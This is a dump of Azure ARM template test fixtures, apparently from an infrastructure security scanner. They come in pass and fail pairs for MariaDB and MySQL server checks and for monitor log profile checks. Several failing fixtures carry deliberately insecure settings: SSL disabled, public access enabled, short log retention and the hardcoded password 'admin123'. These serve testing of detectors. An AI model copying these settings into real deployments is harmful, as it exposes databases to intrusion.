"firewallRulesIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/firewallRules", "name": "[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]", "apiVersion": "[parameters('firewallRulesAPIVersion')]", "properties": { "StartIpAddress": "[variables('firewallRules')[copyIndex()].startIPAddress]", "EndIpAddress": "[variables('firewallRules')[copyIndex()].endIPAddress]" } } ] } } }, { "condition": "[parameters('aadEnabled')]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('addAdmins-', parameters('guid'))]", "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/administrators", "name": "[concat(parameters('serverName'),'/ActiveDirectory')]", "apiVersion": "[variables('api')]", "properties": { "administratorType": "[parameters('aadData').administratorType]", "identityResourceId": "[parameters('aadData').identityResourceId]", "login": "[parameters('aadData').login]", "sid": "[parameters('aadData').sid]", "tenantId": "[parameters('aadData').tenantId]" } } ] } } }, { "condition": "[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "copy": { "count": "[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]", "mode": "serial", "name": "serverParametersIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "name": "[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]", "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/configurations", "name": "[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]", "apiVersion": "[variables('api')]", "properties": { "value": "[variables('serverParameters')[copyIndex()].value]", "source": "[variables('serverParameters')[copyIndex()].source]" } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_MariaDBGeoBackupEnabled/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.DBforMariaDB/servers", "location": "West Europe", "name": "fail", "sku": { "name": "B_Gen5_2", "size": "5120" }, "properties": { "version": "10.3", "administratorLogin": "admin", "administratorLoginPassword": "admin123", "publicNetworkAccess": "Enabled", "storageProfile": { "geoRedundantBackup": "Disabled", "storageMB": "5120" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_MariaDBGeoBackupEnabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.DBforMariaDB/servers", "location": "West Europe", "name": "pass", "sku": { "name": "B_Gen5_2", "size": "5120" }, "properties": { "version": "10.3", "administratorLogin": "admin", "administratorLoginPassword": "admin123", "publicNetworkAccess": "Enabled", "storageProfile": { "geoRedundantBackup": "Enabled", "storageMB": "5120" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_MariaDBPublicAccessDisabled/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.DBforMariaDB/servers", "location": "West Europe", "name": "fail", "sku": { "name": "B_Gen5_2", "size": "5120" }, "properties": { "version": "10.3", "administratorLogin": "admin", "administratorLoginPassword": "admin123", "publicNetworkAccess": "Enabled", "storageProfile": { "storageMB": "5120" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_MariaDBPublicAccessDisabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.DBforMariaDB/servers", "location": "West Europe", "name": "pass", "sku": { "name": "B_Gen5_2", "size": "5120" }, "properties": { "version": "10.3", "administratorLogin": "admin", "administratorLoginPassword": "admin123", "publicNetworkAccess" : "Disabled", "storageProfile": { "storageMB": "5120" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_MariaDBSSLEnforcementEnabled/FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.DBforMariaDB/servers", "location": "West Europe", "name": "default", "sku": { "name": "B_Gen5_2", "size": "5120" }, "properties": { "version": "10.3", "administratorLogin": "admin", "administratorLoginPassword": "admin123", "storageProfile": { "storageMB": "5120" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_MariaDBSSLEnforcementEnabled/FAILED_2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.DBforMariaDB/servers", "location": "West Europe", "name": "disabled", "sku": { "name": "B_Gen5_2", "size": "5120" }, "properties": { "version": "10.3", "administratorLogin": "admin", "administratorLoginPassword": "admin123", "storageProfile": { "storageMB": "5120" }, "sslEnforcement": "Disabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_MariaDBSSLEnforcementEnabled/PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.DBforMariaDB/servers", "location": "West Europe", "name": "enabled", "sku": { "name": "B_Gen5_2", "size": "5120" }, "properties": { "version": "10.3", "administratorLogin": "admin", "administratorLoginPassword": "admin123", "storageProfile": { "storageMB": "5120" }, "sslEnforcement": "Enabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_MonitorLogProfileCategories/monitorLogProfileCategories-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "variables": {}, "resources": [ { "name": "fail", "type": "Microsoft.Insights/logprofiles", "apiVersion": "2016-03-01", "location": "[resourceGroup().location]", "tags": {}, "properties": { "locations": [ "westus", "global" ], "categories": [ "Action" ], "retentionPolicy": { "enabled": "true", "days": "7" } } } ], "outputs": {} } ================================================ FILE: tests/arm/checks/resource/example_MonitorLogProfileCategories/monitorLogProfileCategories-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "variables": {}, "resources": [ { "name": "pass", "type": "Microsoft.Insights/logprofiles", "apiVersion": "2016-03-01", "location": "[resourceGroup().location]", "tags": {}, "properties": { "locations": [ "westus", "global" ], "categories": [ "Write", "Delete", "Action" ], "retentionPolicy": { "enabled": "true", "days": "7" } } } ], "outputs": {} } ================================================ FILE: tests/arm/checks/resource/example_MonitorLogProfileRetentionDays/monitorLogProfileRetentionDays-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "variables": {}, "resources": [ { "name": "low", "type": "Microsoft.Insights/logprofiles", "apiVersion": "2016-03-01", "location": "[resourceGroup().location]", "tags": {}, "properties": { "locations": [ "westus", "global" ], "categories": [ "Action" ], "retentionPolicy": { "enabled": "true", "days": "7" } } } ], "outputs": {} } ================================================ FILE: tests/arm/checks/resource/example_MonitorLogProfileRetentionDays/monitorLogProfileRetentionDays-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "variables": {}, "resources": [ { "name": "disabled", "type": "Microsoft.Insights/logprofiles", "apiVersion": "2016-03-01", "location": "[resourceGroup().location]", "tags": {}, "properties": { "locations": [ "westus", "global" ], "categories": [ "Write", "Delete", "Action" ], "retentionPolicy": { "enabled": "False", "days": "0" } } } ], "outputs": {} } ================================================ FILE: tests/arm/checks/resource/example_MonitorLogProfileRetentionDays/monitorLogProfileRetentionDays-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "variables": {}, "resources": [ { "name": "enabled", "type": "Microsoft.Insights/logprofiles", "apiVersion": "2016-03-01", "location": "[resourceGroup().location]", "tags": {}, "properties": { "locations": [ "westus", "global" ], "categories": [ "Write", "Delete", "Action" ], "retentionPolicy": { "enabled": "true", "days": "0" } } } ], "outputs": {} } ================================================ FILE: tests/arm/checks/resource/example_MySQLEncryptionEnabled/fail.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "apiVersion": { "type": "string", "defaultValue": "2021-05-01" }, "administratorLogin": { "type": "string" }, "administratorLoginPassword": { "type": "securestring" }, "location": { "type": "string" }, "serverName": { "type": "string" }, "serverEdition": { "type": "string" }, "vCores": { "type": "int", "defaultValue": 4 }, "storageSizeGB": { "type": "int" }, "haEnabled": { "type": "string", "defaultValue": "Disabled" }, "availabilityZone": { "type": "string", "defaultValue": "" }, "standbyAvailabilityZone": { "type": "string" }, "version": { "type": "string" }, "tags": { "type": "object", "defaultValue": {} }, "firewallRules": { "type": "object", "defaultValue": {} }, "backupRetentionDays": { "type": "int" }, "geoRedundantBackup": { "type": "string" }, "vmName": { "type": "string", "defaultValue": "Standard_B1ms" }, "storageIops": { "type": "int" }, "storageAutogrow": { "type": "string", "defaultValue": "Enabled" }, "autoIoScaling": { "type": "string", "defaultValue": "Disabled" }, "identityData": { "type": "object", "defaultValue": {} }, "dataEncryptionData": { "type": "object", "defaultValue": {} }, "serverParameters": { "type": "array", "defaultValue": [] }, "aadEnabled": { "type": "bool", "defaultValue": false }, "aadData": { "type": "object", "defaultValue": {} }, "guid": { "type": "string", "defaultValue": "[newGuid()]" }, "network": { "type": "object", "defaultValue": {} }, "firewallRulesAPIVersion": { "type": "string", "defaultValue": "2022-01-01" } }, "variables": { "api": "[parameters('apiVersion')]", "firewallRules": "[parameters('firewallRules').rules]", "serverParameters": "[parameters('serverParameters')]" }, "resources": [ { "apiVersion": "[variables('api')]", "location": "[parameters('location')]", "name": "fail", "identity": "[if(empty(parameters('identityData')), json('null'), parameters('identityData'))]", "properties": { "createMode": "Default", "version": "[parameters('version')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "Network": "[if(empty(parameters('network')), json('null'), parameters('network'))]", "Storage": { "StorageSizeGB": "[parameters('storageSizeGB')]", "Iops": "[parameters('storageIops')]", "Autogrow": "[parameters('storageAutogrow')]", "AutoIoScaling": "[parameters('autoIoScaling')]" }, "Backup": { "backupRetentionDays": "[parameters('backupRetentionDays')]", "geoRedundantBackup": "[parameters('geoRedundantBackup')]" }, "availabilityZone": "[parameters('availabilityZone')]", "highAvailability": { "mode": "[parameters('haEnabled')]", "standbyAvailabilityZone": "[parameters('standbyAvailabilityZone')]" } }, "sku": { "name": "[parameters('vmName')]", "tier": "[parameters('serverEdition')]", "capacity": "[parameters('vCores')]" }, "tags": "[parameters('tags')]", "type": "Microsoft.DBforMySQL/flexibleServers" }, { "condition": "[greater(length(variables('firewallRules')), 0)]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('firewallRules-', parameters('guid'), '-', copyIndex())]", "copy": { "count": "[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]", "mode": "Serial", "name": "firewallRulesIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/firewallRules", "name": "[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]", "apiVersion": "[parameters('firewallRulesAPIVersion')]", "properties": { "StartIpAddress": "[variables('firewallRules')[copyIndex()].startIPAddress]", "EndIpAddress": "[variables('firewallRules')[copyIndex()].endIPAddress]" } } ] } } }, { "condition": "[parameters('aadEnabled')]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('addAdmins-', parameters('guid'))]", "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/administrators", "name": "[concat(parameters('serverName'),'/ActiveDirectory')]", "apiVersion": "[variables('api')]", "properties": { "administratorType": "[parameters('aadData').administratorType]", "identityResourceId": "[parameters('aadData').identityResourceId]", "login": "[parameters('aadData').login]", "sid": "[parameters('aadData').sid]", "tenantId": "[parameters('aadData').tenantId]" } } ] } } }, { "condition": "[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "copy": { "count": "[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]", "mode": "serial", "name": "serverParametersIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "name": "[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]", "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/configurations", "name": "[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]", "apiVersion": "[variables('api')]", "properties": { "value": "[variables('serverParameters')[copyIndex()].value]", "source": "[variables('serverParameters')[copyIndex()].source]" } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_MySQLEncryptionEnabled/pass.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "apiVersion": { "type": "string", "defaultValue": "2021-05-01" }, "administratorLogin": { "type": "string" }, "administratorLoginPassword": { "type": "securestring" }, "location": { "type": "string" }, "serverName": { "type": "string" }, "serverEdition": { "type": "string" }, "vCores": { "type": "int", "defaultValue": 4 }, "storageSizeGB": { "type": "int" }, "haEnabled": { "type": "string", "defaultValue": "Disabled" }, "availabilityZone": { "type": "string", "defaultValue": "" }, "standbyAvailabilityZone": { "type": "string" }, "version": { "type": "string" }, "tags": { "type": "object", "defaultValue": {} }, "firewallRules": { "type": "object", "defaultValue": {} }, "backupRetentionDays": { "type": "int" }, "geoRedundantBackup": { "type": "string" }, "vmName": { "type": "string", "defaultValue": "Standard_B1ms" }, "storageIops": { "type": "int" }, "storageAutogrow": { "type": "string", "defaultValue": "Enabled" }, "autoIoScaling": { "type": "string", "defaultValue": "Disabled" }, "identityData": { "type": "object", "defaultValue": {} }, "dataEncryptionData": { "type": "object", "defaultValue": { "type": "AzureKeyVault", "primaryUserAssignedIdentityId": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.ManagedIdentity/userAssignedIdentities/pike", "primaryKeyURI": "https://pike3.vault.azure.net/keys/pike/ae9a3b26e89445c49fe2b92091017ba2" } }, "serverParameters": { "type": "array", "defaultValue": [] }, "aadEnabled": { "type": "bool", "defaultValue": false }, "aadData": { "type": "object", "defaultValue": {} }, "guid": { "type": "string", "defaultValue": "[newGuid()]" }, "network": { "type": "object", "defaultValue": {} }, "firewallRulesAPIVersion": { "type": "string", "defaultValue": "2022-01-01" } }, "variables": { "api": "[parameters('apiVersion')]", "firewallRules": "[parameters('firewallRules').rules]", "serverParameters": "[parameters('serverParameters')]" }, "resources": [ { "apiVersion": "[variables('api')]", "location": "[parameters('location')]", "name": "pass", "identity": "[if(empty(parameters('identityData')), json('null'), parameters('identityData'))]", "properties": { "createMode": "Default", "version": "[parameters('version')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "Network": "[if(empty(parameters('network')), json('null'), parameters('network'))]", "Storage": { "StorageSizeGB": "[parameters('storageSizeGB')]", "Iops": "[parameters('storageIops')]", "Autogrow": "[parameters('storageAutogrow')]", "AutoIoScaling": "[parameters('autoIoScaling')]" }, "Backup": { "backupRetentionDays": "[parameters('backupRetentionDays')]", "geoRedundantBackup": "[parameters('geoRedundantBackup')]" }, "availabilityZone": "[parameters('availabilityZone')]", "highAvailability": { "mode": "[parameters('haEnabled')]", "standbyAvailabilityZone": "[parameters('standbyAvailabilityZone')]" }, "dataencryption": "[parameters('dataEncryptionData')]" }, "sku": { "name": "[parameters('vmName')]", "tier": "[parameters('serverEdition')]", "capacity": "[parameters('vCores')]" }, "tags": "[parameters('tags')]", "type": "Microsoft.DBforMySQL/flexibleServers" }, { "condition": "[greater(length(variables('firewallRules')), 0)]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('firewallRules-', parameters('guid'), '-', copyIndex())]", "copy": { "count": "[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]", "mode": "Serial", "name": "firewallRulesIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/firewallRules", "name": "[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]", "apiVersion": "[parameters('firewallRulesAPIVersion')]", "properties": { "StartIpAddress": "[variables('firewallRules')[copyIndex()].startIPAddress]", "EndIpAddress": "[variables('firewallRules')[copyIndex()].endIPAddress]" } } ] } } }, { "condition": "[parameters('aadEnabled')]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('addAdmins-', parameters('guid'))]", "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/administrators", "name": "[concat(parameters('serverName'),'/ActiveDirectory')]", "apiVersion": "[variables('api')]", "properties": { "administratorType": "[parameters('aadData').administratorType]", "identityResourceId": "[parameters('aadData').identityResourceId]", "login": "[parameters('aadData').login]", "sid": "[parameters('aadData').sid]", "tenantId": "[parameters('aadData').tenantId]" } } ] } } }, { "condition": "[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "copy": { "count": "[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]", "mode": "serial", "name": "serverParametersIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "name": "[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]", "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/configurations", "name": "[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]", "apiVersion": "[variables('api')]", "properties": { "value": "[variables('serverParameters')[copyIndex()].value]", "source": "[variables('serverParameters')[copyIndex()].source]" } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_MySQLEncryptionEnabled/unknown.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "apiVersion": { "type": "string", "defaultValue": "2021-05-01" }, "administratorLogin": { "type": "string" }, "administratorLoginPassword": { "type": "securestring" }, "location": { "type": "string" }, "serverName": { "type": "string" }, "serverEdition": { "type": "string" }, "vCores": { "type": "int", "defaultValue": 4 }, "storageSizeGB": { "type": "int" }, "haEnabled": { "type": "string", "defaultValue": "Disabled" }, "availabilityZone": { "type": "string", "defaultValue": "" }, "standbyAvailabilityZone": { "type": "string" }, "version": { "type": "string" }, "tags": { "type": "object", "defaultValue": {} }, "firewallRules": { "type": "object", "defaultValue": {} }, "backupRetentionDays": { "type": "int" }, "geoRedundantBackup": { "type": "string" }, "vmName": { "type": "string", "defaultValue": "Standard_B1ms" }, "storageIops": { "type": "int" }, "storageAutogrow": { "type": "string", "defaultValue": "Enabled" }, "autoIoScaling": { "type": "string", "defaultValue": "Disabled" }, "identityData": { "type": "object", "defaultValue": {} }, "dataEncryptionData": { "type": "object", "defaultValue": {} }, "serverParameters": { "type": "array", "defaultValue": [] }, "aadEnabled": { "type": "bool", "defaultValue": false }, "aadData": { "type": "object", "defaultValue": {} }, "guid": { "type": "string", "defaultValue": "[newGuid()]" }, "network": { "type": "object", "defaultValue": {} }, "firewallRulesAPIVersion": { "type": "string", "defaultValue": "2022-01-01" } }, "variables": { "api": "[parameters('apiVersion')]", "firewallRules": "[parameters('firewallRules').rules]", "serverParameters": "[parameters('serverParameters')]" }, "resources": [ { "apiVersion": "[variables('api')]", "location": "[parameters('location')]", "name": "unknown", "identity": "[if(empty(parameters('identityData')), json('null'), parameters('identityData'))]", "properties": { "createMode": "Default", "version": "[parameters('version')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "Network": "[if(empty(parameters('network')), json('null'), parameters('network'))]", "Storage": { "StorageSizeGB": "[parameters('storageSizeGB')]", "Iops": "[parameters('storageIops')]", "Autogrow": "[parameters('storageAutogrow')]", "AutoIoScaling": "[parameters('autoIoScaling')]" }, "Backup": { "backupRetentionDays": "[parameters('backupRetentionDays')]", "geoRedundantBackup": "[parameters('geoRedundantBackup')]" }, "availabilityZone": "[parameters('availabilityZone')]", "highAvailability": { "mode": "[parameters('haEnabled')]", "standbyAvailabilityZone": "[parameters('standbyAvailabilityZone')]" }, "dataencryption": "[if(empty(parameters('dataEncryptionData')), json('null'), parameters('dataEncryptionData'))]" }, "sku": { "name": "[parameters('vmName')]", "tier": "[parameters('serverEdition')]", "capacity": "[parameters('vCores')]" }, "tags": "[parameters('tags')]", "type": "Microsoft.DBforMySQL/flexibleServers" }, { "condition": "[greater(length(variables('firewallRules')), 0)]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('firewallRules-', parameters('guid'), '-', copyIndex())]", "copy": { "count": "[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]", "mode": "Serial", "name": "firewallRulesIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/firewallRules", "name": "[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]", "apiVersion": "[parameters('firewallRulesAPIVersion')]", "properties": { "StartIpAddress": "[variables('firewallRules')[copyIndex()].startIPAddress]", "EndIpAddress": "[variables('firewallRules')[copyIndex()].endIPAddress]" } } ] } } }, { "condition": "[parameters('aadEnabled')]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('addAdmins-', parameters('guid'))]", "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/administrators", "name": "[concat(parameters('serverName'),'/ActiveDirectory')]", "apiVersion": "[variables('api')]", "properties": { "administratorType": "[parameters('aadData').administratorType]", "identityResourceId": "[parameters('aadData').identityResourceId]", "login": "[parameters('aadData').login]", "sid": "[parameters('aadData').sid]", "tenantId": "[parameters('aadData').tenantId]" } } ] } } }, { "condition": "[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "copy": { "count": "[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]", "mode": "serial", "name": "serverParametersIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "name": "[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]", "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/configurations", "name": "[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]", "apiVersion": "[variables('api')]", "properties": { "value": "[variables('serverParameters')[copyIndex()].value]", "source": "[variables('serverParameters')[copyIndex()].source]" } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_MySQLGeoBackupEnabled/fail.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "apiVersion": { "type": "string", "defaultValue": "2021-05-01" }, "administratorLogin": { "type": "string" }, "administratorLoginPassword": { "type": "securestring" }, "location": { "type": "string" }, "serverName": { "type": "string" }, "serverEdition": { "type": "string" }, "vCores": { "type": "int", "defaultValue": 4 }, "storageSizeGB": { "type": "int" }, "haEnabled": { "type": "string", "defaultValue": "Disabled" }, "availabilityZone": { "type": "string", "defaultValue": "" }, "standbyAvailabilityZone": { "type": "string" }, "version": { "type": "string" }, "tags": { "type": "object", "defaultValue": {} }, "firewallRules": { "type": "object", "defaultValue": {} }, "backupRetentionDays": { "type": "int" }, "geoRedundantBackup": { "type": "string" }, "vmName": { "type": "string", "defaultValue": "Standard_B1ms" }, "storageIops": { "type": "int" }, "storageAutogrow": { "type": "string", "defaultValue": "Enabled" }, "autoIoScaling": { "type": "string", "defaultValue": "Disabled" }, "identityData": { "type": "object", "defaultValue": {} }, "dataEncryptionData": { "type": "object", "defaultValue": {} }, "serverParameters": { "type": "array", "defaultValue": [] }, "aadEnabled": { "type": "bool", "defaultValue": false }, "aadData": { "type": "object", "defaultValue": {} }, "guid": { "type": "string", "defaultValue": "[newGuid()]" }, "network": { "type": "object", "defaultValue": {} }, "firewallRulesAPIVersion": { "type": "string", "defaultValue": "2022-01-01" } }, "variables": { "api": "[parameters('apiVersion')]", "firewallRules": "[parameters('firewallRules').rules]", "serverParameters": "[parameters('serverParameters')]" }, "resources": [ { "apiVersion": "[variables('api')]", "location": "[parameters('location')]", "name": "fail", "identity": "[if(empty(parameters('identityData')), json('null'), parameters('identityData'))]", "properties": { "createMode": "Default", "version": "[parameters('version')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "Network": "[if(empty(parameters('network')), json('null'), parameters('network'))]", "Storage": { "StorageSizeGB": "[parameters('storageSizeGB')]", "Iops": "[parameters('storageIops')]", "Autogrow": "[parameters('storageAutogrow')]", "AutoIoScaling": "[parameters('autoIoScaling')]" }, "Backup": { "backupRetentionDays": "[parameters('backupRetentionDays')]", "geoRedundantBackup": "[parameters('geoRedundantBackup')]" }, "availabilityZone": "[parameters('availabilityZone')]", "highAvailability": { "mode": "[parameters('haEnabled')]", "standbyAvailabilityZone": "[parameters('standbyAvailabilityZone')]" } }, "sku": { "name": "[parameters('vmName')]", "tier": "[parameters('serverEdition')]", "capacity": "[parameters('vCores')]" }, "tags": "[parameters('tags')]", "type": "Microsoft.DBforMySQL/flexibleServers" }, { "condition": "[greater(length(variables('firewallRules')), 0)]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('firewallRules-', parameters('guid'), '-', copyIndex())]", "copy": { "count": "[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]", "mode": "Serial", "name": "firewallRulesIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": 